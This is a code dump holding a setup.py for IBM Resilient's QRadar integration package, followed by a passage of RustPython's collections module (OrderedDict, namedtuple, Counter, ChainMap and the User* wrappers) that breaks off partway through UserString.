#!/usr/bin/env python # -*- coding: utf-8 -*- from setuptools import setup, find_packages setup( name='fn_qradar_integration', version='2.0.7', license='MIT License', author='IBM Resilient', author_email='support@resilientsystems.com', url='https://github.com/ibmresilient/resilient-community-apps/tree/master/fn_qradar_integration', description="Resilient Circuits Components for 'fn_qradar_integration'", long_description="fn_qradar_integration supports performing ariel search to retrieve data from QRadar. It also provide functions to find/add/delete reference set items.", install_requires=[ 'resilient_circuits>=30.0.0', 'resilient_lib' ], packages=find_packages(), include_package_data=True, platforms='any', classifiers=[ 'Programming Language :: Python', ], entry_points={ "resilient.circuits.components": [ "QradarFindReferenceSetsFunctionComponent = fn_qradar_integration.components.qradar_find_reference_sets:FunctionComponent", "QradarDeleteReferenceSetItemFunctionComponent = fn_qradar_integration.components.qradar_delete_reference_set_item:FunctionComponent", "QradarAddReferenceSetItemFunctionComponent = fn_qradar_integration.components.qradar_add_reference_set_item:FunctionComponent", "QradarFindReferenceSetItemFunctionComponent = fn_qradar_integration.components.qradar_find_reference_set_item:FunctionComponent", "QradarSearchFunctionComponent = fn_qradar_integration.components.qradar_search:FunctionComponent" ], "resilient.circuits.configsection": ["gen_config = fn_qradar_integration.util.config:config_section_data"], "resilient.circuits.customize": ["customize = fn_qradar_integration.util.customize:customization_data"], "resilient.circuits.selftest": ["selftest = fn_qradar_integration.util.selftest:selftest_function"] } )

51.289474

174

0.757311

ace8db113329c8b809c24ce82803ae534ebc97c4

52,230

py

Python

Lib/collections/__init__.py

tai271828/RustPython

9fb70707c4803f9f6d79dd4c8077bd16f0a9be45

[ "CC-BY-4.0", "MIT" ]

2

2021-09-03T16:15:06.000Z

2021-09-03T16:19:28.000Z

Lib/collections/__init__.py

tai271828/RustPython

9fb70707c4803f9f6d79dd4c8077bd16f0a9be45

[ "CC-BY-4.0", "MIT" ]

6

2021-10-01T13:51:43.000Z

2021-11-17T13:27:14.000Z

Lib/collections/__init__.py

tai271828/RustPython

9fb70707c4803f9f6d79dd4c8077bd16f0a9be45

[ "CC-BY-4.0", "MIT" ]

1

2020-08-04T12:13:42.000Z

'''This module implements specialized container datatypes providing alternatives to Python's general purpose built-in containers, dict, list, set, and tuple. * namedtuple factory function for creating tuple subclasses with named fields * deque list-like container with fast appends and pops on either end * ChainMap dict-like class for creating a single view of multiple mappings * Counter dict subclass for counting hashable objects * OrderedDict dict subclass that remembers the order entries were added * defaultdict dict subclass that calls a factory function to supply missing values * UserDict wrapper around dictionary objects for easier dict subclassing * UserList wrapper around list objects for easier list subclassing * UserString wrapper around string objects for easier string subclassing ''' __all__ = [ 'ChainMap', 'Counter', 'OrderedDict', 'UserDict', 'UserList', 'UserString', 'defaultdict', 'deque', 'namedtuple', ] import _collections_abc import heapq as _heapq import sys as _sys from itertools import chain as _chain from itertools import repeat as _repeat from itertools import starmap as _starmap from keyword import iskeyword as _iskeyword from operator import eq as _eq from operator import itemgetter as _itemgetter from reprlib import recursive_repr as _recursive_repr from _weakref import proxy as _proxy try: from _collections import deque except ImportError: pass else: _collections_abc.MutableSequence.register(deque) try: from _collections import defaultdict except ImportError: # FIXME: try to implement defaultdict in collections.rs rather than in Python # I (coolreader18) couldn't figure out some class stuff with __new__ and # __init__ and __missing__ and subclassing built-in types from Rust, so I went # with this instead. from ._defaultdict import defaultdict def __getattr__(name): # For backwards compatibility, continue to make the collections ABCs # through Python 3.6 available through the collections module. # Note, no new collections ABCs were added in Python 3.7 if name in _collections_abc.__all__: obj = getattr(_collections_abc, name) import warnings warnings.warn("Using or importing the ABCs from 'collections' instead " "of from 'collections.abc' is deprecated since Python 3.3, " "and in 3.10 it will stop working", DeprecationWarning, stacklevel=2) globals()[name] = obj return obj raise AttributeError(f'module {__name__!r} has no attribute {name!r}') ################################################################################ ### OrderedDict ################################################################################ class _OrderedDictKeysView(_collections_abc.KeysView): def __reversed__(self): yield from reversed(self._mapping) class _OrderedDictItemsView(_collections_abc.ItemsView): def __reversed__(self): for key in reversed(self._mapping): yield (key, self._mapping[key]) class _OrderedDictValuesView(_collections_abc.ValuesView): def __reversed__(self): for key in reversed(self._mapping): yield self._mapping[key] class _Link(object): __slots__ = 'prev', 'next', 'key', '__weakref__' class OrderedDict(dict): 'Dictionary that remembers insertion order' # An inherited dict maps keys to values. # The inherited dict provides __getitem__, __len__, __contains__, and get. # The remaining methods are order-aware. # Big-O running times for all methods are the same as regular dictionaries. # The internal self.__map dict maps keys to links in a doubly linked list. # The circular doubly linked list starts and ends with a sentinel element. # The sentinel element never gets deleted (this simplifies the algorithm). # The sentinel is in self.__hardroot with a weakref proxy in self.__root. # The prev links are weakref proxies (to prevent circular references). # Individual links are kept alive by the hard reference in self.__map. # Those hard references disappear when a key is deleted from an OrderedDict. def __init__(*args, **kwds): '''Initialize an ordered dictionary. The signature is the same as regular dictionaries. Keyword argument order is preserved. ''' if not args: raise TypeError("descriptor '__init__' of 'OrderedDict' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__root except AttributeError: self.__hardroot = _Link() self.__root = root = _proxy(self.__hardroot) root.prev = root.next = root self.__map = {} self.__update(*args, **kwds) def __setitem__(self, key, value, dict_setitem=dict.__setitem__, proxy=_proxy, Link=_Link): 'od.__setitem__(i, y) <==> od[i]=y' # Setting a new item creates a new link at the end of the linked list, # and the inherited dictionary is updated with the new key/value pair. if key not in self: self.__map[key] = link = Link() root = self.__root last = root.prev link.prev, link.next, link.key = last, root, key last.next = link root.prev = proxy(link) dict_setitem(self, key, value) def __delitem__(self, key, dict_delitem=dict.__delitem__): 'od.__delitem__(y) <==> del od[y]' # Deleting an existing item uses self.__map to find the link which gets # removed by updating the links in the predecessor and successor nodes. dict_delitem(self, key) link = self.__map.pop(key) link_prev = link.prev link_next = link.next link_prev.next = link_next link_next.prev = link_prev link.prev = None link.next = None def __iter__(self): 'od.__iter__() <==> iter(od)' # Traverse the linked list in order. root = self.__root curr = root.next while curr is not root: yield curr.key curr = curr.next def __reversed__(self): 'od.__reversed__() <==> reversed(od)' # Traverse the linked list in reverse order. root = self.__root curr = root.prev while curr is not root: yield curr.key curr = curr.prev def clear(self): 'od.clear() -> None. Remove all items from od.' root = self.__root root.prev = root.next = root self.__map.clear() dict.clear(self) def popitem(self, last=True): '''Remove and return a (key, value) pair from the dictionary. Pairs are returned in LIFO order if last is true or FIFO order if false. ''' if not self: raise KeyError('dictionary is empty') root = self.__root if last: link = root.prev link_prev = link.prev link_prev.next = root root.prev = link_prev else: link = root.next link_next = link.next root.next = link_next link_next.prev = root key = link.key del self.__map[key] value = dict.pop(self, key) return key, value def move_to_end(self, key, last=True): '''Move an existing element to the end (or beginning if last is false). Raise KeyError if the element does not exist. ''' link = self.__map[key] link_prev = link.prev link_next = link.next soft_link = link_next.prev link_prev.next = link_next link_next.prev = link_prev root = self.__root if last: last = root.prev link.prev = last link.next = root root.prev = soft_link last.next = link else: first = root.next link.prev = root link.next = first first.prev = soft_link root.next = link def __sizeof__(self): sizeof = _sys.getsizeof n = len(self) + 1 # number of links including root size = sizeof(self.__dict__) # instance dictionary size += sizeof(self.__map) * 2 # internal dict and inherited dict size += sizeof(self.__hardroot) * n # link objects size += sizeof(self.__root) * n # proxy objects return size update = __update = _collections_abc.MutableMapping.update def keys(self): "D.keys() -> a set-like object providing a view on D's keys" return _OrderedDictKeysView(self) def items(self): "D.items() -> a set-like object providing a view on D's items" return _OrderedDictItemsView(self) def values(self): "D.values() -> an object providing a view on D's values" return _OrderedDictValuesView(self) __ne__ = _collections_abc.MutableMapping.__ne__ __marker = object() def pop(self, key, default=__marker): '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. ''' if key in self: result = self[key] del self[key] return result if default is self.__marker: raise KeyError(key) return default def setdefault(self, key, default=None): '''Insert key with a value of default if key is not in the dictionary. Return the value for key if key is in the dictionary, else default. ''' if key in self: return self[key] self[key] = default return default @_recursive_repr() def __repr__(self): 'od.__repr__() <==> repr(od)' if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self.items())) def __reduce__(self): 'Return state information for pickling' inst_dict = vars(self).copy() for k in vars(OrderedDict()): inst_dict.pop(k, None) return self.__class__, (), inst_dict or None, None, iter(self.items()) def copy(self): 'od.copy() -> a shallow copy of od' return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): '''Create a new ordered dictionary with keys from iterable and values set to value. ''' self = cls() for key in iterable: self[key] = value return self def __eq__(self, other): '''od.__eq__(y) <==> od==y. Comparison to another OD is order-sensitive while comparison to a regular mapping is order-insensitive. ''' if isinstance(other, OrderedDict): return dict.__eq__(self, other) and all(map(_eq, self, other)) return dict.__eq__(self, other) def __ior__(self, other): self.update(other) return self def __or__(self, other): if not isinstance(other, dict): return NotImplemented new = self.__class__(self) new.update(other) return new def __ror__(self, other): if not isinstance(other, dict): return NotImplemented new = self.__class__(other) new.update(self) return new try: from _collections import OrderedDict except ImportError: # Leave the pure Python version in place. pass ################################################################################ ### namedtuple ################################################################################ try: from _collections import _tuplegetter except ImportError: _tuplegetter = lambda index, doc: property(_itemgetter(index), doc=doc) def namedtuple(typename, field_names, *, rename=False, defaults=None, module=None): """Returns a new subclass of tuple with named fields. >>> Point = namedtuple('Point', ['x', 'y']) >>> Point.__doc__ # docstring for the new class 'Point(x, y)' >>> p = Point(11, y=22) # instantiate with positional args or keywords >>> p[0] + p[1] # indexable like a plain tuple 33 >>> x, y = p # unpack like a regular tuple >>> x, y (11, 22) >>> p.x + p.y # fields also accessible by name 33 >>> d = p._asdict() # convert to a dictionary >>> d['x'] 11 >>> Point(**d) # convert from a dictionary Point(x=11, y=22) >>> p._replace(x=100) # _replace() is like str.replace() but targets named fields Point(x=100, y=22) """ # Validate the field names. At the user's option, either generate an error # message or automatically replace the field name with a valid name. if isinstance(field_names, str): field_names = field_names.replace(',', ' ').split() field_names = list(map(str, field_names)) typename = _sys.intern(str(typename)) if rename: seen = set() for index, name in enumerate(field_names): if (not name.isidentifier() or _iskeyword(name) or name.startswith('_') or name in seen): field_names[index] = f'_{index}' seen.add(name) for name in [typename] + field_names: if type(name) is not str: raise TypeError('Type names and field names must be strings') if not name.isidentifier(): raise ValueError('Type names and field names must be valid ' f'identifiers: {name!r}') if _iskeyword(name): raise ValueError('Type names and field names cannot be a ' f'keyword: {name!r}') seen = set() for name in field_names: if name.startswith('_') and not rename: raise ValueError('Field names cannot start with an underscore: ' f'{name!r}') if name in seen: raise ValueError(f'Encountered duplicate field name: {name!r}') seen.add(name) field_defaults = {} if defaults is not None: defaults = tuple(defaults) if len(defaults) > len(field_names): raise TypeError('Got more default values than field names') field_defaults = dict(reversed(list(zip(reversed(field_names), reversed(defaults))))) # Variables used in the methods and docstrings field_names = tuple(map(_sys.intern, field_names)) num_fields = len(field_names) arg_list = ', '.join(field_names) if num_fields == 1: arg_list += ',' repr_fmt = '(' + ', '.join(f'{name}=%r' for name in field_names) + ')' tuple_new = tuple.__new__ _dict, _tuple, _len, _map, _zip = dict, tuple, len, map, zip # Create all the named tuple methods to be added to the class namespace namespace = { '_tuple_new': tuple_new, '__builtins__': {}, '__name__': f'namedtuple_{typename}', } code = f'lambda _cls, {arg_list}: _tuple_new(_cls, ({arg_list}))' __new__ = eval(code, namespace) __new__.__name__ = '__new__' __new__.__doc__ = f'Create new instance of {typename}({arg_list})' if defaults is not None: __new__.__defaults__ = defaults @classmethod def _make(cls, iterable): result = tuple_new(cls, iterable) if _len(result) != num_fields: raise TypeError(f'Expected {num_fields} arguments, got {len(result)}') return result _make.__func__.__doc__ = (f'Make a new {typename} object from a sequence ' 'or iterable') def _replace(_self, /, **kwds): result = _self._make(_map(kwds.pop, field_names, _self)) if kwds: raise ValueError(f'Got unexpected field names: {list(kwds)!r}') return result _replace.__doc__ = (f'Return a new {typename} object replacing specified ' 'fields with new values') def __repr__(self): 'Return a nicely formatted representation string' return self.__class__.__name__ + repr_fmt % self def _asdict(self): 'Return a new dict which maps field names to their values.' return _dict(_zip(self._fields, self)) def __getnewargs__(self): 'Return self as a plain tuple. Used by copy and pickle.' return _tuple(self) # Modify function metadata to help with introspection and debugging for method in ( __new__, _make.__func__, _replace, __repr__, _asdict, __getnewargs__, ): method.__qualname__ = f'{typename}.{method.__name__}' # Build-up the class namespace dictionary # and use type() to build the result class class_namespace = { '__doc__': f'{typename}({arg_list})', '__slots__': (), '_fields': field_names, '_field_defaults': field_defaults, '__new__': __new__, '_make': _make, '_replace': _replace, '__repr__': __repr__, '_asdict': _asdict, '__getnewargs__': __getnewargs__, } for index, name in enumerate(field_names): doc = _sys.intern(f'Alias for field number {index}') class_namespace[name] = _tuplegetter(index, doc) result = type(typename, (tuple,), class_namespace) # For pickling to work, the __module__ variable needs to be set to the frame # where the named tuple is created. Bypass this step in environments where # sys._getframe is not defined (Jython for example) or sys._getframe is not # defined for arguments greater than 0 (IronPython), or where the user has # specified a particular module. if module is None: try: module = _sys._getframe(1).f_globals.get('__name__', '__main__') except (AttributeError, ValueError): pass if module is not None: result.__module__ = module return result ######################################################################## ### Counter ######################################################################## def _count_elements(mapping, iterable): 'Tally elements from the iterable.' mapping_get = mapping.get for elem in iterable: mapping[elem] = mapping_get(elem, 0) + 1 try: # Load C helper function if available from _collections import _count_elements except ImportError: pass class Counter(dict): '''Dict subclass for counting hashable items. Sometimes called a bag or multiset. Elements are stored as dictionary keys and their counts are stored as dictionary values. >>> c = Counter('abcdeabcdabcaba') # count elements from a string >>> c.most_common(3) # three most common elements [('a', 5), ('b', 4), ('c', 3)] >>> sorted(c) # list all unique elements ['a', 'b', 'c', 'd', 'e'] >>> ''.join(sorted(c.elements())) # list elements with repetitions 'aaaaabbbbcccdde' >>> sum(c.values()) # total of all counts 15 >>> c['a'] # count of letter 'a' 5 >>> for elem in 'shazam': # update counts from an iterable ... c[elem] += 1 # by adding 1 to each element's count >>> c['a'] # now there are seven 'a' 7 >>> del c['b'] # remove all 'b' >>> c['b'] # now there are zero 'b' 0 >>> d = Counter('simsalabim') # make another counter >>> c.update(d) # add in the second counter >>> c['a'] # now there are nine 'a' 9 >>> c.clear() # empty the counter >>> c Counter() Note: If a count is set to zero or reduced to zero, it will remain in the counter until the entry is deleted or the counter is cleared: >>> c = Counter('aaabbc') >>> c['b'] -= 2 # reduce the count of 'b' by two >>> c.most_common() # 'b' is still in, but its count is zero [('a', 3), ('c', 1), ('b', 0)] ''' # References: # http://en.wikipedia.org/wiki/Multiset # http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html # http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm # http://code.activestate.com/recipes/259174/ # Knuth, TAOCP Vol. II section 4.6.3 def __init__(*args, **kwds): '''Create a new, empty Counter object. And if given, count elements from an input iterable. Or, initialize the count from another mapping of elements to their counts. >>> c = Counter() # a new, empty counter >>> c = Counter('gallahad') # a new counter from an iterable >>> c = Counter({'a': 4, 'b': 2}) # a new counter from a mapping >>> c = Counter(a=4, b=2) # a new counter from keyword args ''' if not args: raise TypeError("descriptor '__init__' of 'Counter' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) super(Counter, self).__init__() self.update(*args, **kwds) def __missing__(self, key): 'The count of elements not in the Counter is zero.' # Needed so that self[missing_item] does not raise KeyError return 0 def most_common(self, n=None): '''List the n most common elements and their counts from the most common to the least. If n is None, then list all element counts. >>> Counter('abracadabra').most_common(3) [('a', 5), ('b', 2), ('r', 2)] ''' # Emulate Bag.sortedByCount from Smalltalk if n is None: return sorted(self.items(), key=_itemgetter(1), reverse=True) return _heapq.nlargest(n, self.items(), key=_itemgetter(1)) def elements(self): '''Iterator over elements repeating each as many times as its count. >>> c = Counter('ABCABC') >>> sorted(c.elements()) ['A', 'A', 'B', 'B', 'C', 'C'] # Knuth's example for prime factors of 1836: 2**2 * 3**3 * 17**1 >>> prime_factors = Counter({2: 2, 3: 3, 17: 1}) >>> product = 1 >>> for factor in prime_factors.elements(): # loop over factors ... product *= factor # and multiply them >>> product 1836 Note, if an element's count has been set to zero or is a negative number, elements() will ignore it. ''' # Emulate Bag.do from Smalltalk and Multiset.begin from C++. return _chain.from_iterable(_starmap(_repeat, self.items())) # Override dict methods where necessary @classmethod def fromkeys(cls, iterable, v=None): # There is no equivalent method for counters because the semantics # would be ambiguous in cases such as Counter.fromkeys('aaabbc', v=2). # Initializing counters to zero values isn't necessary because zero # is already the default value for counter lookups. Initializing # to one is easily accomplished with Counter(set(iterable)). For # more exotic cases, create a dictionary first using a dictionary # comprehension or dict.fromkeys(). raise NotImplementedError( 'Counter.fromkeys() is undefined. Use Counter(iterable) instead.') def update(*args, **kwds): '''Like dict.update() but add counts instead of replacing them. Source can be an iterable, a dictionary, or another Counter instance. >>> c = Counter('which') >>> c.update('witch') # add elements from another iterable >>> d = Counter('watch') >>> c.update(d) # add elements from another counter >>> c['h'] # four 'h' in which, witch, and watch 4 ''' # The regular dict.update() operation makes no sense here because the # replace behavior results in the some of original untouched counts # being mixed-in with all of the other counts for a mismash that # doesn't have a straight-forward interpretation in most counting # contexts. Instead, we implement straight-addition. Both the inputs # and outputs are allowed to contain zero and negative counts. if not args: raise TypeError("descriptor 'update' of 'Counter' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) iterable = args[0] if args else None if iterable is not None: if isinstance(iterable, _collections_abc.Mapping): if self: self_get = self.get for elem, count in iterable.items(): self[elem] = count + self_get(elem, 0) else: # fast path when counter is empty super(Counter, self).update(iterable) else: _count_elements(self, iterable) if kwds: self.update(kwds) def subtract(*args, **kwds): '''Like dict.update() but subtracts counts instead of replacing them. Counts can be reduced below zero. Both the inputs and outputs are allowed to contain zero and negative counts. Source can be an iterable, a dictionary, or another Counter instance. >>> c = Counter('which') >>> c.subtract('witch') # subtract elements from another iterable >>> c.subtract(Counter('watch')) # subtract elements from another counter >>> c['h'] # 2 in which, minus 1 in witch, minus 1 in watch 0 >>> c['w'] # 1 in which, minus 1 in witch, minus 1 in watch -1 ''' if not args: raise TypeError("descriptor 'subtract' of 'Counter' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) iterable = args[0] if args else None if iterable is not None: self_get = self.get if isinstance(iterable, _collections_abc.Mapping): for elem, count in iterable.items(): self[elem] = self_get(elem, 0) - count else: for elem in iterable: self[elem] = self_get(elem, 0) - 1 if kwds: self.subtract(kwds) def copy(self): 'Return a shallow copy.' return self.__class__(self) def __reduce__(self): return self.__class__, (dict(self),) def __delitem__(self, elem): 'Like dict.__delitem__() but does not raise KeyError for missing values.' if elem in self: super().__delitem__(elem) def __repr__(self): if not self: return f'{self.__class__.__name__}()' try: # dict() preserves the ordering returned by most_common() d = dict(self.most_common()) except TypeError: # handle case where values are not orderable d = dict(self) return f'{self.__class__.__name__}({d!r})' # Multiset-style mathematical operations discussed in: # Knuth TAOCP Volume II section 4.6.3 exercise 19 # and at http://en.wikipedia.org/wiki/Multiset # # Outputs guaranteed to only include positive counts. # # To strip negative and zero counts, add-in an empty counter: # c += Counter() # # Rich comparison operators for multiset subset and superset tests # are deliberately omitted due to semantic conflicts with the # existing inherited dict equality method. Subset and superset # semantics ignore zero counts and require that p≤q ∧ p≥q → p=q; # however, that would not be the case for p=Counter(a=1, b=0) # and q=Counter(a=1) where the dictionaries are not equal. def __add__(self, other): '''Add counts from two counters. >>> Counter('abbb') + Counter('bcc') Counter({'b': 4, 'c': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): newcount = count + other[elem] if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count > 0: result[elem] = count return result def __sub__(self, other): ''' Subtract count, but keep only results with positive counts. >>> Counter('abbbc') - Counter('bccd') Counter({'b': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): newcount = count - other[elem] if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count < 0: result[elem] = 0 - count return result def __or__(self, other): '''Union is the maximum of value in either of the input counters. >>> Counter('abbb') | Counter('bcc') Counter({'b': 3, 'c': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): other_count = other[elem] newcount = other_count if count < other_count else count if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count > 0: result[elem] = count return result def __and__(self, other): ''' Intersection is the minimum of corresponding counts. >>> Counter('abbb') & Counter('bcc') Counter({'b': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): other_count = other[elem] newcount = count if count < other_count else other_count if newcount > 0: result[elem] = newcount return result def __pos__(self): 'Adds an empty counter, effectively stripping negative and zero counts' result = Counter() for elem, count in self.items(): if count > 0: result[elem] = count return result def __neg__(self): '''Subtracts from an empty counter. Strips positive and zero counts, and flips the sign on negative counts. ''' result = Counter() for elem, count in self.items(): if count < 0: result[elem] = 0 - count return result def _keep_positive(self): '''Internal method to strip elements with a negative or zero count''' nonpositive = [elem for elem, count in self.items() if not count > 0] for elem in nonpositive: del self[elem] return self def __iadd__(self, other): '''Inplace add from another counter, keeping only positive counts. >>> c = Counter('abbb') >>> c += Counter('bcc') >>> c Counter({'b': 4, 'c': 2, 'a': 1}) ''' for elem, count in other.items(): self[elem] += count return self._keep_positive() def __isub__(self, other): '''Inplace subtract counter, but keep only results with positive counts. >>> c = Counter('abbbc') >>> c -= Counter('bccd') >>> c Counter({'b': 2, 'a': 1}) ''' for elem, count in other.items(): self[elem] -= count return self._keep_positive() def __ior__(self, other): '''Inplace union is the maximum of value from either counter. >>> c = Counter('abbb') >>> c |= Counter('bcc') >>> c Counter({'b': 3, 'c': 2, 'a': 1}) ''' for elem, other_count in other.items(): count = self[elem] if other_count > count: self[elem] = other_count return self._keep_positive() def __iand__(self, other): '''Inplace intersection is the minimum of corresponding counts. >>> c = Counter('abbb') >>> c &= Counter('bcc') >>> c Counter({'b': 1}) ''' for elem, count in self.items(): other_count = other[elem] if other_count < count: self[elem] = other_count return self._keep_positive() ######################################################################## ### ChainMap ######################################################################## class ChainMap(_collections_abc.MutableMapping): ''' A ChainMap groups multiple dicts (or other mappings) together to create a single, updateable view. The underlying mappings are stored in a list. That list is public and can be accessed or updated using the *maps* attribute. There is no other state. Lookups search the underlying mappings successively until a key is found. In contrast, writes, updates, and deletions only operate on the first mapping. ''' def __init__(self, *maps): '''Initialize a ChainMap by setting *maps* to the given mappings. If no mappings are provided, a single empty dictionary is used. ''' self.maps = list(maps) or [{}] # always at least one map def __missing__(self, key): raise KeyError(key) def __getitem__(self, key): for mapping in self.maps: try: return mapping[key] # can't use 'key in mapping' with defaultdict except KeyError: pass return self.__missing__(key) # support subclasses that define __missing__ def get(self, key, default=None): return self[key] if key in self else default def __len__(self): return len(set().union(*self.maps)) # reuses stored hash values if possible def __iter__(self): d = {} for mapping in reversed(self.maps): d.update(dict.fromkeys(mapping)) # reuses stored hash values if possible return iter(d) def __contains__(self, key): return any(key in m for m in self.maps) def __bool__(self): return any(self.maps) @_recursive_repr() def __repr__(self): return f'{self.__class__.__name__}({", ".join(map(repr, self.maps))})' @classmethod def fromkeys(cls, iterable, *args): 'Create a ChainMap with a single dict created from the iterable.' return cls(dict.fromkeys(iterable, *args)) def copy(self): 'New ChainMap or subclass with a new copy of maps[0] and refs to maps[1:]' return self.__class__(self.maps[0].copy(), *self.maps[1:]) __copy__ = copy def new_child(self, m=None): # like Django's Context.push() '''New ChainMap with a new map followed by all previous maps. If no map is provided, an empty dict is used. ''' if m is None: m = {} return self.__class__(m, *self.maps) @property def parents(self): # like Django's Context.pop() 'New ChainMap from maps[1:].' return self.__class__(*self.maps[1:]) def __setitem__(self, key, value): self.maps[0][key] = value def __delitem__(self, key): try: del self.maps[0][key] except KeyError: raise KeyError(f'Key not found in the first mapping: {key!r}') def popitem(self): 'Remove and return an item pair from maps[0]. Raise KeyError is maps[0] is empty.' try: return self.maps[0].popitem() except KeyError: raise KeyError('No keys found in the first mapping.') def pop(self, key, *args): 'Remove *key* from maps[0] and return its value. Raise KeyError if *key* not in maps[0].' try: return self.maps[0].pop(key, *args) except KeyError: raise KeyError(f'Key not found in the first mapping: {key!r}') def clear(self): 'Clear maps[0], leaving maps[1:] intact.' self.maps[0].clear() def __ior__(self, other): self.maps[0].update(other) return self def __or__(self, other): if not isinstance(other, _collections_abc.Mapping): return NotImplemented m = self.copy() m.maps[0].update(other) return m def __ror__(self, other): if not isinstance(other, _collections_abc.Mapping): return NotImplemented m = dict(other) for child in reversed(self.maps): m.update(child) return self.__class__(m) ################################################################################ ### UserDict ################################################################################ class UserDict(_collections_abc.MutableMapping): # Start by filling-out the abstract methods def __init__(*args, **kwargs): if not args: raise TypeError("descriptor '__init__' of 'UserDict' object " "needs an argument") self, *args = args if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) if args: dict = args[0] elif 'dict' in kwargs: dict = kwargs.pop('dict') import warnings warnings.warn("Passing 'dict' as keyword argument is deprecated", DeprecationWarning, stacklevel=2) else: dict = None self.data = {} if dict is not None: self.update(dict) if len(kwargs): self.update(kwargs) def __len__(self): return len(self.data) def __bool__(self): return bool(self.data) def __getitem__(self, key): if key in self.data: return self.data[key] if hasattr(self.__class__, "__missing__"): return self.__class__.__missing__(self, key) raise KeyError(key) def __setitem__(self, key, item): self.data[key] = item def __delitem__(self, key): del self.data[key] def __iter__(self): return iter(self.data) # Modify __contains__ to work correctly when __missing__ is present def __contains__(self, key): return key in self.data # Now, add the methods in dicts but not in MutableMapping def __repr__(self): return repr(self.data) def __or__(self, other): if isinstance(other, UserDict): return self.__class__(self.data | other.data) if isinstance(other, dict): return self.__class__(self.data | other) return NotImplemented def __ror__(self, other): if isinstance(other, UserDict): return self.__class__(other.data | self.data) if isinstance(other, dict): return self.__class__(other | self.data) return NotImplemented def __ior__(self, other): if isinstance(other, UserDict): self.data |= other.data else: self.data |= other return self def __copy__(self): inst = self.__class__.__new__(self.__class__) inst.__dict__.update(self.__dict__) # Create a copy and avoid triggering descriptors inst.__dict__["data"] = self.__dict__["data"].copy() return inst def __sizeof__(self): return _sys.getsizeof(self.data) def copy(self): if self.__class__ is UserDict: return UserDict(self.data.copy()) import copy data = self.data try: self.data = {} c = copy.copy(self) finally: self.data = data c.update(self) return c @classmethod def fromkeys(cls, iterable, value=None): d = cls() for key in iterable: d[key] = value return d ################################################################################ ### UserList ################################################################################ class UserList(_collections_abc.MutableSequence): """A more or less complete user-defined wrapper around list objects.""" def __init__(self, initlist=None): self.data = [] if initlist is not None: # XXX should this accept an arbitrary sequence? if type(initlist) == type(self.data): self.data[:] = initlist elif isinstance(initlist, UserList): self.data[:] = initlist.data[:] else: self.data = list(initlist) def __repr__(self): return repr(self.data) def __lt__(self, other): return self.data < self.__cast(other) def __le__(self, other): return self.data <= self.__cast(other) def __eq__(self, other): return self.data == self.__cast(other) def __gt__(self, other): return self.data > self.__cast(other) def __ge__(self, other): return self.data >= self.__cast(other) def __cast(self, other): return other.data if isinstance(other, UserList) else other def __contains__(self, item): return item in self.data def __len__(self): return len(self.data) def __bool__(self): return bool(self.data) def __getitem__(self, i): if isinstance(i, slice): return self.__class__(self.data[i]) else: return self.data[i] def __setitem__(self, i, item): self.data[i] = item def __delitem__(self, i): del self.data[i] def __add__(self, other): if isinstance(other, UserList): return self.__class__(self.data + other.data) elif isinstance(other, type(self.data)): return self.__class__(self.data + other) return self.__class__(self.data + list(other)) def __radd__(self, other): if isinstance(other, UserList): return self.__class__(other.data + self.data) elif isinstance(other, type(self.data)): return self.__class__(other + self.data) return self.__class__(list(other) + self.data) def __iadd__(self, other): if isinstance(other, UserList): self.data += other.data elif isinstance(other, type(self.data)): self.data += other else: self.data += list(other) return self def __mul__(self, n): return self.__class__(self.data * n) __rmul__ = __mul__ def __imul__(self, n): self.data *= n return self def __copy__(self): inst = self.__class__.__new__(self.__class__) inst.__dict__.update(self.__dict__) # Create a copy and avoid triggering descriptors inst.__dict__["data"] = self.__dict__["data"][:] return inst def __sizeof__(self): return _sys.getsizeof(self.data) def append(self, item): self.data.append(item) def insert(self, i, item): self.data.insert(i, item) def pop(self, i=-1): return self.data.pop(i) def remove(self, item): self.data.remove(item) def clear(self): self.data.clear() def copy(self): return self.__class__(self) def count(self, item): return self.data.count(item) def index(self, item, *args): return self.data.index(item, *args) def reverse(self): self.data.reverse() def sort(self, /, *args, **kwds): self.data.sort(*args, **kwds) def extend(self, other): if isinstance(other, UserList): self.data.extend(other.data) else: self.data.extend(other) ################################################################################ ### UserString ################################################################################ class UserString(_collections_abc.Sequence): def __init__(self, seq): if isinstance(seq, str): self.data = seq elif isinstance(seq, UserString): self.data = seq.data[:] else: self.data = str(seq) def __str__(self): return str(self.data) def __repr__(self): return repr(self.data) def __int__(self): return int(self.data) def __float__(self): return float(self.data) def __complex__(self): return complex(self.data) def __hash__(self): return hash(self.data) def __getnewargs__(self): return (self.data[:],) def __eq__(self, string): if isinstance(string, UserString): return self.data == string.data return self.data == string def __lt__(self, string): if isinstance(string, UserString): return self.data < string.data return self.data < string def __le__(self, string): if isinstance(string, UserString): return self.data <= string.data return self.data <= string def __gt__(self, string): if isinstance(string, UserString): return self.data > string.data return self.data > string def __ge__(self, string): if isinstance(string, UserString): return self.data >= string.data return self.data >= string def __contains__(self, char): if isinstance(char, UserString): char = char.data return char in self.data def __bool__(self): return bool(self.data) def __len__(self): return len(self.data) def __getitem__(self, index): return self.__class__(self.data[index]) def __add__(self, other): if isinstance(other, UserString): return self.__class__(self.data + other.data) elif 